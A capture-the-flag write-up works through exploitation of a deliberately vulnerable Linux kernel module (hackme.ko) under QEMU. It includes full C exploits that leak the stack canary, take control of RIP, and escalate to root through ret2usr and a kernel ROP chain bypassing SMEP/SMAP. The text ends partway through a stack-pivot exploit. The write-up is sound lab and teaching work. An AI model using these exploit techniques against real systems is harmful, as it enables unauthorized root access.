Setup

First, we unpack the .tar.gz from the CTF and take a look at the relevant files.

vmlinuz - This contains the actual Linux kernel image.
initramfs.cpio.gz - this contains the initial ramdisk. This is the filesystem that was compressed using cpio and gzip.
run.sh - This file contains the qemu command to run the vm.

What follows is a more in-depth view of the various files.

vmlinuz

This is the Linux kernel image. We can find out the version using file.

$ file vmlinuz
vmlinuz: Linux kernel x86 boot executable bzImage, version 5.9.0-rc6+ (martin@martin) #10 SMP Sun Nov 22 16:47:32 CET 2020, RO-rootFS, swap_dev 0X7, Normal VGA

The terminology here is that the z at the end indicates that it is compressed. This is usually done with gzip, bzip or lzma. The decompressed image is then called vmlinux. Decompression can be performed using a script from the linux kernel that is also locally mirrored here.

initramfs.cpio.gz

This is the initial ramdisk. It is gzipped and cpioed. gzip is a compression algorithm and should be known. cpio is an archival algorithm like tar. I encountered it back in the days when I was working as Linux sysadmin. It is a historic format, but is still used here.

We can unpack this using cat initramfs.cpio.gz | gunzip | cpio --extract. Probably we have to do this multiple times, so I found the following script.

#!/bin/bash
mkdir initramfs
pushd . && pushd initramfs
cp ../initramfs.cpio.gz .
cat initramfs.cpio.gz | gunzip | cpio -i && rm initramfs.cpio
popd

The content of the file system is shown in the following.

$ tree
.
├── bin
│   ├── busybox
│   └── sh -> busybox
├── etc
│   ├── init.d
│   │   └── rcS
│   ├── inittab
│   ├── motd
│   └── resolv.conf -> /proc/net/pnp
├── hackme.ko
├── init -> bin/busybox
├── root
├── sbin
└── usr
    ├── bin
    └── sbin

This is a Linux file system. motd contains a fun banner. hackme.ko is a kernel module that is vulnerable and needs to be hacked.

The file /etc/init.d/rcS contains the following important parts.

....
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsyms

insmod /hackme.ko
chmod 666 /dev/hackme

The command echo 1 > /proc/sys/kernel/kptr_restrict obscures the kernel pointers that are exposed via /proc and other interfaces. Basically it means that kernel pointers are “usually” replaced by zeroes.

The command echo 1 > /proc/sys/kernel/dmesg_restrict restricts unprivileged users from issuing dmesg to view the kernel log. We could set this to 0 to ease debugging.

The next line chmod 400 /proc/kallsyms sets restrictions to the file /proc/kallsyms. This file contains the kernel symbols and thus read access could be used to get valid pointers to the kernel address space.

Next, the vulnerable kernel module is loaded into the kernel using insmod /hackme.ko.

The command chmod 666 /dev/hackme sets the permissions on the device /dev/hackme. This is probably a device that serves as an interface to the vulnerable kernel module hackme.ko. Hence, the goal of the challenge is probably to read and write to that device and pwn the kernel in this way.

The file /etc/inittab contains the command setuidgid 1000 sh; This gives us a shell for the normal user. We can modify this to setuidgid 0 sh in order to get a root shell. If we boot the modified initramfs, we can then access files that are helpful in debugging the exploit such as /proc/kallsyms that contains the symbols of the kernel or /sys/module/core/sections/.text that contains the address of the .text section of the kernel.

We will have to compile an exploit, include it in initramfs, compress initramfs and then run the kernel. Then we have to test the exploit and if it does not work, do all the steps again. So here is a script to automate compilation, inclusion in initramfs and compressing initramfs. This script was found here.

#!/bin/bash

# Compress initramfs with the included statically linked exploit
in=$1
out=$(echo $in | awk '{ print substr( $0, 1, length($0)-2 ) }')
gcc $in -static -o $out || exit 255
mv $out initramfs
pushd . && pushd initramfs
find . -print0 | cpio --null --format=newc -o 2>/dev/null | gzip -9 > ../initramfs.cpio.gz
popd

run.sh

This script runs the kernel and the initramfs within qemu. Its commented content is as follows.

#!/bin/sh
qemu-system-x86_64 \
    -m 128M \                     # the memory size
    -cpu kvm64,+smep,+smap \      # cpu model and enabling some mitigations
    -kernel vmlinuz \             # the kernel image
    -initrd initramfs.cpio.gz \   # the initial ramdisk
    -hdb flag.txt \         # use this file as harddisk image /dev/hdb
    -snapshot \             # write to temporary files and not disk images
    -nographic \            # disable graphical output. only command line
    -monitor /dev/null \    # redirect the monitor
    -no-reboot \            # exit instead of rebooting
    -append "console=ttyS0 kaslr kpti=1 quiet panic=1"
            # this last line specifies some boot options

As some of these arguments enable Kernel security mitigations, it is a natural next step in this exposition. Note that we can modify the mitigations within this command in order to have an easier time exploiting the kernel module.

But first a digression regarding remote debugging. If we append -s to the list of arguments, then qemu enables remote debugging on port 1234. We can connect to this port using the gdb debugger with the command target remote localhost:1234. If we add -S to the list of arguments of qemu, then the kernel is started in a suspended state. Within gdb, we can attach to this and start the kernel using continue or simply c. This allows debugging the kernel. This information is just for the sake of completeness. We do not make use of remote debugging in the remainder of this article.

Kernel Security Mitigations

As the run.sh script contained options that enable Kernel security mechanisms, we will next talk about these.

Kernel ASLR (Address Space Layout Randomization) - This is similar to ASLR in the user space. The objects in the kernel are loaded at random addresses in order to prevent using known offsets to jump to known function pointers.
SMEP (Supervisor Mode Execution Prevention) - All userland memory pages in the kernel are marked as non-executable when a process is in kernel mode. This prevents using code from user space in kernel exploits. If we want to have arbitrary code execution in the kernel, we need to reuse code that is already inside the kernel (i.e., using a ROP-chain with gadgets in the kernel). SMEP is enabled by setting the 20th bit of the CR4 control register of the processor.
SMAP (Supervisor Mode Access Prevention) - Similar to SMAP. It marks all userland memory pages as non-readable and non-writable when execution is in kernel land. While the other mitigations are common to Windows and Linux, SMAP is not implemented in Windows. Like SMAP, SMEP is enabled by setting the 21st bit of the CR4 control register of the processor.
KPTI (Kernel Page Table Isolation) - This is a further enhancement of SMEP/SMAP. User land and kernel land memory tables are isolated. One set of memory pages tables is used for running in kernel mode. This contains both user mode and kernel mode pages. A second set of memory page tables is used when running in user mode. It contains the full user land pages and a minimal needed set of kernel mode memory pages.

Reconnaissance

After we have our setup, a natural next step is looking at the vulnerability that we are going to exploit. We already know that it is residing within the hackme.ko kernel module. Hence, let us take a look at its properties.

$ rabin2 -I hackme.ko
arch     x86
baddr    0x8000000
binsz    317877
bintype  elf
bits     64
canary   true
injprot  false
class    ELF64
compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crypto   false
endian   little
havecode true
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
nx       false
os       linux
pic      false
relocs   true
relro    no
rpath    NONE
sanitize false
static   true
stripped false
subsys   linux
va       true

We can see that stack canaries are enabled in the kernel module. This is a mitigation against exploitation of buffer overflows. A fake value is inserted in the stack and when a function returns, the canary is checked for modifications. Modification corresponds to the detection of an exploit attempt and the kernel crashes the program.

Disassembling the kernel module, e.g., using Ghidra or r2 reveals multiple functions.

$ r2 -A initramfs/hackme.ko
...
 -- Remember to maintain your ~/.radare_history
[0x08000064]> afl
0x08000070    1     13 sym.hackme_release
0x08000080    8    174 sym.hackme_write
0x08000140    1     13 sym.hackme_open
0x08000150    5    174 sym.hackme_read
0x08000207    1     23 sym.hackme_init
0x0800021e    1     18 sym.hackme_exit

The functions hackme_init, hackme_exit, hackme_open, andhackme_release` are necessary for a kernel module. They are needed for loading and unloading the kernel module.

The function hackme_read is executed, when we read from /dev/hackme. The function hackme_write is executed, when we write to /dev/hackme.

Decompiling hackme_read using again Ghidra or r2 reveals the following.

ssize_t hackme_read(file *f,char *data,size_t size,loff_t *off)

{
  long lVar1;
  size_t sVar2;
  long in_GS_OFFSET;
  undefined local_a8 [8];
  int tmp [32];

  tmp._120_8_ = *(undefined8 *)(in_GS_OFFSET + 0x28);
  __memcpy(hackme_buf,local_a8);
  if (0x1000 < size) {
    __warn_printk("Buffer overflow detected (%d < %lu)!\n",0x1000,size);
    do {
      invalidInstructionException();
    } while( true );
  }
  __check_object_size(hackme_buf,size,1);
  lVar1 = _copy_to_user(data,hackme_buf,size);
  sVar2 = 0xfffffffffffffff2;
  if (lVar1 == 0) {
    sVar2 = size;
  }
  if (tmp._120_8_ == *(long *)(in_GS_OFFSET + 0x28)) {
    return sVar2;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

There is a 32-byte array on the stack tmp[32], but we can read up to 0x1000=4096 bytes. Thus, it allows to read further and hence leak the stack.

The function hackme_write is very similar. It allows to write up to 0x1000 bytes into a 32-byte array on the stack. Hence it allows to overflow the stack.

Leaking the Stack

As we can leak the stack using ``hackme_read`, we can also read the stack canary token. Our code is based on this awesome writeup.

We prepare a file called leak_stack.c. This can be compiled and packed in the initramfs using the script shown above in the setup paragraph.

#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char *VULN_DRV = "/dev/hackme";

int64_t global_fd = 0;

void open_dev() {
    global_fd = open(VULN_DRV, O_RDWR);
    if (global_fd < 0) {
        printf("[-] failed to open %s\n", VULN_DRV);
        exit(-1);
    } else {
        printf("[+] successfully opened %s\n", VULN_DRV);
    }
}


void leak_stack() {
    uint8_t sz = 40;
    uint64_t leak[sz];
    printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak));
    uint64_t data = read(global_fd, leak, sizeof(leak));
    for (int offset=0; offset < sz; offset++){
        printf("[+] offset %d contains value: 0x%lx \n", offset, leak[offset]);
    }
}


int main(int argc, char **argv) {
    open_dev();
    leak_stack();

    return 0;
}

Then, we can execute run.sh to start the kernel and drop into a shell within the qemu environment. If we included the compiled leak_stack.c correctly, we should find it in the root folder.

Its output looks as follows.

$ ./leak_stack
[+] successfully opened /dev/hackme
[*] trying to leak up to 320 bytes memory
[+] offset 0 contains value: 0xffffffffa773a630
[+] offset 1 contains value: 0x2a
[+] offset 2 contains value: 0x3d8f236e8e010100
[+] offset 3 contains value: 0xffff946086cae110
[+] offset 4 contains value: 0xffffad8e801bfe68
[+] offset 5 contains value: 0x4
[+] offset 6 contains value: 0xffff946086cae100
[+] offset 7 contains value: 0xffffad8e801bfef0
[+] offset 8 contains value: 0xffff946086cae100
[+] offset 9 contains value: 0xffffad8e801bfe80
[+] offset 10 contains value: 0xffffffffa728ab57
[+] offset 11 contains value: 0xffffffffa728ab57
[+] offset 12 contains value: 0xffff946086cae100
[+] offset 13 contains value: 0x0
[+] offset 14 contains value: 0x7ffe54601790
[+] offset 15 contains value: 0xffffad8e801bfea0
[+] offset 16 contains value: 0x3d8f236e8e010100
[+] offset 17 contains value: 0x140
[+] offset 18 contains value: 0x0
[+] offset 19 contains value: 0xffffad8e801bfed8
[+] offset 20 contains value: 0xffffffffa728565f
[+] offset 21 contains value: 0xffff946086cae100
[+] offset 22 contains value: 0xffff946086cae100
[+] offset 23 contains value: 0x7ffe54601790
[+] offset 24 contains value: 0x140
[+] offset 25 contains value: 0x0
[+] offset 26 contains value: 0xffffad8e801bff20
[+] offset 27 contains value: 0xffffffffa75a6507
[+] offset 28 contains value: 0xffffffffa7871d81
[+] offset 29 contains value: 0x0
[+] offset 30 contains value: 0x3d8f236e8e010100
[+] offset 31 contains value: 0xffffad8e801bff58
[+] offset 32 contains value: 0x0
[+] offset 33 contains value: 0x0
[+] offset 34 contains value: 0x0
[+] offset 35 contains value: 0xffffad8e801bff30
[+] offset 36 contains value: 0xffffffffa776330a
[+] offset 37 contains value: 0xffffad8e801bff48
[+] offset 38 contains value: 0xffffffffa6e0a157

When looking at the stack, we can see three types of entities. There are arguments to functions at offset 1 and 5. Then, there are addresses starting with 0xffff. Thirdly, there are stack canaries. such as the one at offset 2, 16, or 30. Apparently, the one at offset 2 is a part of the uninitialized memory from the variable tmp[32] and not a canary, even though it looks like one.

This tutorial computes the offset of the stack canary simply through reverse engineering. This tutorial detects the stack canary automatically by assuming that it does not start with ffff and ends in 00.

Controlling RIP

As a next step, we want to check if we can control the instruction pointer RIP. As mentioned above, we can overwrite the stack using the function hackme_write. When this function is done, the stack is unwound. This means, that the previous stack context has to be recovered. RBX and RBP are so-called callee-saved registers. Hence, they have to be restored from the stack. Further, R12 is popped. I don’t know what R12 is good for, or why that happens, but this is the way things are. Finally, the instruction pointer RIP is popped.

So we can construct a payload and write it to /dev/hackme.

#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char *VULN_DRV = "/dev/hackme";

int64_t global_fd = 0;
uint64_t cookie = 0;
uint64_t cookie_off = 16;


void open_dev() {
    global_fd = open(VULN_DRV, O_RDWR);
    if (global_fd < 0) {
        printf("[-] failed to open %s\n", VULN_DRV);
        exit(-1);
    } else {
        printf("[+] successfully opened %s\n", VULN_DRV);
    }
}


void leak_cookie() {
    uint8_t sz = 40;
    uint64_t leak[sz];
    printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak));
    uint64_t data = read(global_fd, leak, sizeof(leak));
    cookie = leak[cookie_off];
    printf("[+] leaked cookie 0x%lx at offset %d \n", cookie, cookie_off);
}

void control_rip() {
    uint8_t sz = 40;
    uint64_t payload[sz];
    payload[cookie_off++] = cookie;
    payload[cookie_off++] = (uint64_t) 0x4444444444444444;  // RBX
    payload[cookie_off++] = (uint64_t) 0x4343434343434343;  // R12
    payload[cookie_off++] = (uint64_t) 0x4242424242424242;  // RBP
    payload[cookie_off++] = (uint64_t) 0x4141414141414141;  // RIP
    write(global_fd, payload, sizeof(payload));
    puts("if you can read this, it did not work.");
}


int main(int argc, char **argv) {
    open_dev();
    leak_cookie();
    control_rip();

    return 0;
}

Again, we need to compile, compress the exploit into initramfs and start it with qemu using run.sh.

$ ./control_rip
[+] successfully opened /dev/hackme
[*] trying to leak up to 320 bytes memory
[+] leaked cookie 0xa19c496548ccde00 at offset 16
[    4.268641] general protection fault: 0000 [#1] SMP PTI
[    4.269235] CPU: 0 PID: 113 Comm: control_rip Tainted: G           O      5.9.0-rc6+ #10
[    4.269605] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-1.fc39 04/01/2014
[    4.270271] RIP: 0010:0x4141414141414141
[    4.270653] Code: Bad RIP value.
[    4.271015] RSP: 0018:ffffa2d5c01bfeb0 EFLAGS: 00000296
[    4.271432] RAX: 0000000000000140 RBX: 4444444444444444 RCX: 0000000000000000
[    4.271753] RDX: 00000000ffffffff RSI: ffffffffc00dc580 RDI: ffffa2d5c01bff48
[    4.272099] RBP: 4242424242424242 R08: ffffffff9c46af7a R09: ffffa2d5c01bff48
[    4.272388] R10: ffffffff9bc0a157 R11: 0000000000000000 R12: 4343434343434343
[    4.272926] R13: ffffa2d5c01bfef0 R14: 00007ffd3d05bd10 R15: ffff8c27c6caef00
[    4.273360] FS:  000000000226f380(0000) GS:ffff8c27c7a00000(0000) knlGS:0000000000000000
[    4.273834] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    4.274157] CR2: 4141414141414141 CR3: 000000000652c000 CR4: 00000000003006f0
[    4.274665] Call Trace:
[    4.275780]  ? ksys_read+0xa7/0xe0
[    4.275933]  ? exit_to_user_mode_prepare+0x31/0x180
[    4.276170]  ? __x64_sys_read+0x1a/0x20
[    4.276376]  ? do_syscall_64+0x37/0x80
[    4.276564]  ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
[    4.276865] Modules linked in: hackme(O)
[    4.277795] ---[ end trace 348a615b394120d4 ]---
[    4.278031] RIP: 0010:0x4141414141414141
[    4.278271] Code: Bad RIP value.
[    4.278463] RSP: 0018:ffffa2d5c01bfeb0 EFLAGS: 00000296
[    4.278747] RAX: 0000000000000140 RBX: 4444444444444444 RCX: 0000000000000000
[    4.278999] RDX: 00000000ffffffff RSI: ffffffffc00dc580 RDI: ffffa2d5c01bff48
[    4.279286] RBP: 4242424242424242 R08: ffffffff9c46af7a R09: ffffa2d5c01bff48
[    4.279604] R10: ffffffff9bc0a157 R11: 0000000000000000 R12: 4343434343434343
[    4.279952] R13: ffffa2d5c01bfef0 R14: 00007ffd3d05bd10 R15: ffff8c27c6caef00
[    4.280318] FS:  000000000226f380(0000) GS:ffff8c27c7a00000(0000) knlGS:0000000000000000
[    4.280804] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    4.281200] CR2: 4141414141414141 CR3: 000000000652c000 CR4: 00000000003006f0
Segmentation fault
...

We can clearly see that we control the return address RIP, as it contains 0x4141414141414141. This is so far with all mitigations still enabled. However, as we are in kernel mode it is not immediately clear how to exploit this fact.

Privilege Escalation Without Any Mitigations: Ret2Usr

In order to make out life easier, let us first disable the security mechanisms and try to exploit it. We can later add the security mechanisms again and built up to the full challenge.

Within run.sh instead of the last line -append "console=ttyS0 kaslr kpti=1 quiet panic=1" we write -append "console=ttyS0 nosmep nosmap nopti nokaslr quiet panic=1" in order to disable SMEP/SMAP, as well as KASLR and KPTI.

Now, we only have the stack canary to take care of. This is similar to userland exploitation with ROP chains. In userland, the goal is usually to spawn an elevated shell. In the kernel, it is the same.

There are two functions in the kernel, that are usually used for elevating privileges.

prepare_kernel_cred() - This kernel function prepares a set of credentials for a kernel service and can also override the credentials of a task for delegation purposes. If we call this with 0 as argument, the returned credentials have no group and full capabilities.
commit_creds() - This kernel function installs new credentials in the current thread.

Hence, the goal is to call commit_creds(prepare_kernel_cred(0)) using a ROP chain.

We can find the addresses of these functions inside the kernel by checking /proc/kallsyms. For this we modify /etc/inittab in the initramfs to contain setuidgid 0 sh. This will drop us to a root shell, so we are allowed to read /proc/kallsyms. Don’t forget to undo these changes, or you will wonder later why your privilege escalation always works without doing anything.

# id
uid=0 gid=0 groups=0
# cat /proc/kallsyms | grep -e prepare_kernel_cred -e commit_creds
ffff ffff 814c6410 T commit_creds
ffff ffff 814c67f0 T prepare_kernel_cred

So we have the addresses that we need to put on the ROP chain.

After elevating our privileges, we need to go back to user land. For this we need the assembly instruction swapgs with either iretq or sysretq.

swapgs - GS is one of the segment registers, such as CS (Code Segment), DS (Data Segment), or SS (Stack Segment). These registers point to the respective sections in the binary. The CS register points to the code segment in the binary, i.e., .text. The DS register points to the data segment .data in the binary and so on. When a context switch from user mode to kernel mode or back takes place, these registers just need to point to different memory addresses in order to facilitate this change. FS and GS are special registers in the CPU that can also be used for this context switch but whose purpose is not specified by the CPU manufacturer and thus can be chosen by the programmers of the operating system. FS and GS are used by Linux and Windows to access thread specific storage. As an example, in Windows, the Thread Environment Block (TEB) can be found at a fixed offset from GS or FS, depending on if the architecture is 32 or 64 bit. To make a long story short, we must swap the GS register when entering user mode from kernel mode or vice versa.
iretq/sysretq - Either of these functions need to be used to perform the actual context switch between kernel and user mode. iretq is easier to use, as it only requires the stack to be setup up with five registers for the userland in the order RIP, CS, RFLAGS, SP, SS. For sysretq we need to move the return address that should be in RIP in RCX. Further, sysretq moves RFLAGS to R11. The bits 48 to 63 of the register RIP need to be the same as bit
1. Otherwise, we get a general protection fault.

Executing these two instructions can be performed in our exploit code using inline assembly. We do not even need a ROP chain for that, as we have disabled SMEP/SMAP and thus can craft our chain inside user mode.

Note that when we revert back to user mode with iretq/sysretq we need to set the registers. Hence, before doing this dance, we have to store the userland registers in order to be able to revert them later.

This can be done as follows.

uint64_t user_cs, user_ss, user_rflags, user_sp;

void save_state(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("[*] Saved state");
}

Now we can put everything together. The following code is the full exploit for a kernel without any mitigations except stack canaries.

#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char *VULN_DRV = "/dev/hackme";

int64_t global_fd = 0;
uint64_t cookie = 0;
uint64_t cookie_off = 16;

uint64_t user_cs, user_ss, user_rflags, user_sp;     // for storing the registers
uint64_t prepare_kernel_cred = 0xffffffff814c67f0;   // the offset from /proc/kallsyms
uint64_t commit_creds = 0xffffffff814c6410;

void open_dev(){
    global_fd = open(VULN_DRV, O_RDWR);
    if (global_fd < 0) {
        printf("[-] failed to open %s\n", VULN_DRV);
        exit(-1);
    } else {
        printf("[+] successfully opened %s\n", VULN_DRV);
    }
}

void leak_cookie() {
    uint8_t sz = 40;
    uint64_t leak[sz];
    printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak));
    uint64_t data = read(global_fd, leak, sizeof(leak));
    cookie = leak[cookie_off];
    printf("[+] leaked cookie 0x%lx at offset %d \n", cookie, cookie_off);
}

void save_state(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("[*] Saved state");
}

void payload(){
    uid_t uid = getuid();
    if (uid == 0) {
        printf("[+] we are root (uid = %d)\n", uid);
    } else {
        printf("[!] we are not root (uid: %d)\n", uid);
        exit(-1);
    }
    execl("/bin/sh", "sh", NULL);
}

uint64_t user_rip = (uint64_t) payload;     // the last part of our ROP chain

void privesc(){
    __asm__(".intel_syntax noprefix;"
            "movabs rax, prepare_kernel_cred;"
            "xor rdi, rdi;"
            "call rax;"            // execute prepare_kernel_creds(0)
            "mov rdi, rax;"        // put the return value into rdi
            "movabs rax, commit_creds;"
            "call rax;"            // execute commit_creds
            "swapgs;"              // swap GS register
            "mov r15, user_ss;"    // restore the registers from user mode
            "push r15;"
            "mov r15, user_sp;"
            "push r15;"
            "mov r15, user_rflags;"
            "push r15;"
            "mov r15, user_cs;"
            "push r15;"
            "mov r15, user_rip;"   // return to the payload
            "push r15;"
            "iretq;"               // switch from kernel to userland
            ".att_syntax;");
}

void overflow_stack(){
    uint8_t sz = 40;
    uint64_t payload[sz];
    payload[cookie_off++] = cookie;
    payload[cookie_off++] = (uint64_t) 0;  // RBX
    payload[cookie_off++] = (uint64_t) 0;  // R12
    payload[cookie_off++] = (uint64_t) 0;  // RBP
    payload[cookie_off++] = (uint64_t) privesc;  // RIP
    write(global_fd, payload, sizeof(payload));
    puts("if you can read this, it did not work.");
}

int main(int argc, char **argv){
    open_dev();
    save_state();
    leak_cookie();
    overflow_stack();
    return 0;
}

Executing this code looks as follows.

$ ./no_mitigations
[+] successfully opened /dev/hackme
[*] Saved state
[*] trying to leak up to 320 bytes memory
[+] leaked cookie 0x2aa741ea8a7daa00 at offset 16
[+] we are root (uid = 0)
/ # id
uid=0 gid=0

As we see the message [+] we are root (uid = 0) in the output of our exploit, the elevation of privileges worked.

Note that in the payload we could instead of execl("/bin/sh", "sh", NULL); also write system("/bin/sh");. This solution can be found in different writeups, but in my tests, it did not work and lead to a segmentation fault. I have no idea why this does not work. If you read this and know why it happens, please let me know. I will edit this section when i find it out.

Adding SMEP/SMAP

Next, we will add the mitigations SMEP/SMAP and again try to exploit the kernel module. Remember that SMEP/SMAP stands for Supervisor Mode Access/Execution Prevention and marks memory pages from userland as non-accessible/executable, as long as we are in kernel mode. Hence, our exploit will not work anymore, as the inline assembly we wrote lives in user space, but we execute it from kernel mode. SMAP marks these pages as non-executable.

To enable SMEP/SMAP, we modify the last line of the original run.sh as follows: -append "console=ttyS0 nopti nokaslr quiet panic=1".

Running the previous exploit yields an error message.

$ ./no_mitigations
[+] successfully opened /dev/hackme
[*] Saved state
[*] trying to leak up to 320 bytes memory
[+] leaked cookie 0xaeab3cc4e3107a00 at offset 16
[    4.726632] unable to execute userspace code (SMEP?) (uid: 1000)
[    4.727729] BUG: unable to handle page fault for address: 00000000004019bf
[    4.728668] #PF: supervisor instruction fetch in kernel mode
[    4.729483] #PF: error_code(0x0011) - permissions violation
[    4.730694] PGD 6119067 P4D 6119067 PUD 6118067 PMD 6163067 PTE 7919025
[    4.732670] Oops: 0011 [#1] SMP NOPTI
[    4.733963] CPU: 0 PID: 113 Comm: no_mitigations Tainted: G           O      5.9.0-rc6+ #10
[    4.734799] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-1.fc39 04/01/2014
[    4.736732] RIP: 0010:0x4019bf
[    4.737208] Code: Bad RIP value.
...

The important part is [4.726632] unable to execute userspace code (SMEP?) (uid: 1000). Well, we are doing kernel exploitation. The error messages are not getting any clearer than this.

In previous kernel versions up to around 2019 it was possible to disable SMEP/SMAP by using the kernel function native_write_cr4(). As SMEP and SMAP are activated by setting the 20th and 21st bit in the CR4 control register of the processor, it was possible to set those bits to zero and hence disable SMEP/SMAP. However, this was patched by pinning the bits so they cannot be changed anymore. Hence, this game plan does not work anymore.

Instead, we will craft a ROP chain using gadgets from the kernel only. This ROP chain will perform commit_creds(prepare_kernel_cred(0)), swapgs, and iretq. First we create a list of all gadget inside the kernel. Extract vmlinuz to vmlinux, as explained in the setup instructions above. There are multiple tools that can be used to extract ROP gadgets from vmlinux. ROPGadget (pip install ROPGadget) can be used with the command ROPgadget --binary vmlinux > gadgets.txt to find the gadgets. However, it does not seem to find gadgets containing iretq. There is also ropr (cargo install ropr) that is invoked using ropr --nouniq vmlinux > gadgets.txt We can also filter gadgets using, e.g., ropr --nouniq -R '^iretq' vmlinux Note that some of the gadgets that are found do not work as they are in memory that is marked as non-executable.

All that is left is creating a fake stack with the functions that we want to have executed. We then write to the device hackme.ko and overwrite the real stack with our fake stack. When the stack is unwound, our functions are executed.

Note that in the x64 calling convention, the arguments to functions are given in registers. The register RDI contains the first argument of a function. Hence, we write the value 0 in RDI and then call prepare_kernel_cred. The result is then returned in the register RAX, again according to the x64 calling convention.

#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char *VULN_DRV = "/dev/hackme";

int64_t global_fd = 0;
uint64_t cookie = 0;
uint64_t cookie_off = 16;

uint64_t user_cs, user_ss, user_rflags, user_sp;     // for storing the registers

void open_dev(){
    global_fd = open(VULN_DRV, O_RDWR);
    if (global_fd < 0) {
        printf("[-] failed to open %s\n", VULN_DRV);
        exit(-1);
    } else {
        printf("[+] successfully opened %s\n", VULN_DRV);
    }
}

void leak_cookie() {
    uint8_t sz = 40;
    uint64_t leak[sz];
    printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak));
    uint64_t data = read(global_fd, leak, sizeof(leak));
    cookie = leak[cookie_off];
    printf("[+] leaked cookie 0x%lx at offset %d \n", cookie, cookie_off);
}

void save_state(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("[*] Saved state");
}

void payload(){
    uid_t uid = getuid();
    if (uid == 0) {
        printf("[+] we are root (uid = %d)\n", uid);
    } else {
        printf("[!] we are not root (uid: %d)\n", uid);
        exit(-1);
    }
    execl("/bin/sh", "sh", NULL);
    exit(0);
}

uint64_t user_rip = (uint64_t) payload;     // the last part of our ROP chain

uint64_t prepare_kernel_cred = 0xffffffff814c67f0;   // the offset from /proc/kallsyms
uint64_t commit_creds = 0xffffffff814c6410;

uint64_t pop_rdi_ret = 0xffffffff8100767c;     // pop rdi; ret
uint64_t mov_rdi_rax_movrsi_poprbp = 0xffffffff816bf203; // mov rdi, rax; mov [rsi+0x140], rdi; pop rbp; ret;
uint64_t swapgs_poprbp_ret = 0xffffffff8120109c; // swapgs; pop rbp; ret;
uint64_t iretq = 0xffffffff8100c0d9; //0xffffffff8225e3af; // iretq;

void overflow_stack(){
    uint8_t sz = 40;
    uint64_t payload[sz];
    payload[cookie_off++] = cookie;
    payload[cookie_off++] = (uint64_t) 0;  // RBX
    payload[cookie_off++] = (uint64_t) 0;  // R12
    payload[cookie_off++] = (uint64_t) 0;  // RBP
    payload[cookie_off++] = (uint64_t) pop_rdi_ret;
    payload[cookie_off++] = (uint64_t) 0;
    payload[cookie_off++] = (uint64_t) prepare_kernel_cred;  // prepare_kernel_cred(0)

    payload[cookie_off++] = (uint64_t) mov_rdi_rax_movrsi_poprbp;  // need to move result to rdi
    payload[cookie_off++] = (uint64_t) 0; // popped to ebp
    payload[cookie_off++] = (uint64_t) commit_creds; // commit_creds(prepare_kernel_cred(0))

    payload[cookie_off++] = (uint64_t) swapgs_poprbp_ret; // swapgs
    payload[cookie_off++] = (uint64_t) 0; // this is popped to rbp

    payload[cookie_off++] = (uint64_t) iretq;  // restore registers from user mode
    payload[cookie_off++] = (uint64_t) user_rip;
    payload[cookie_off++] = (uint64_t) user_cs;
    payload[cookie_off++] = (uint64_t) user_rflags;
    payload[cookie_off++] = (uint64_t) user_sp;
    payload[cookie_off++] = (uint64_t) user_ss;

    write(global_fd, payload, sizeof(payload));
    puts("if you can read this, it did not work.");
}

int main(int argc, char **argv){
    open_dev();
    save_state();
    leak_cookie();
    overflow_stack();
    return 0;
}

Alternative way of bypassing SMEP but not SMAP

You may have noticed, that we bypassed both SMEP and SMAP. By building the ROP chain only from kernel gadgets, we did not need to either execute or access memory pages from user mode. But there are alternative approaches that can bypass SMEP, but not SMAP, one of which I want to touch on here. The idea is to pivot the stack to a location where we can write our ROP chain to. This is useful in the case where we can overwrite only the return address but not further.

There are a bunch of ROP gadgets that move a constant value into ESP. One such gadget is as follows.

uint64_t mov_esp_pop2_ret = 0xffffffff8196f56a; // mov esp, 0x5b000000 ; pop r12 ; pop rbp ; ret

One could use this gadget as the return address when overflowing the buffer of the vulnerable device. Before, one needs to write the remainder of the ROP chain to the address that is moved to ESP. This can be achieved by allocating the region using mmap.

The idea works if SMEP is enabled, as we do not need to execute anything in userland. However, it does not work when SMAP is enabled, as we need read and write access to the location where we pivot to, i.e., to a user land memory page.

I saw this idea in this other writeup.

We need to modify run.sh to disable SMAP and enable SMEP using the command line arguments -cpu kvm64,+smep.

The full code for the exploit is shown below.

#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <unistd.h>
#include <sys/mman.h>

char *VULN_DRV = "/dev/hackme";

int64_t global_fd = 0;
uint64_t cookie = 0;
uint64_t cookie_off = 16;

uint64_t user_cs, user_ss, user_rflags, user_sp;     // for storing the registers

void open_dev(){
    global_fd = open(VULN_DRV, O_RDWR);
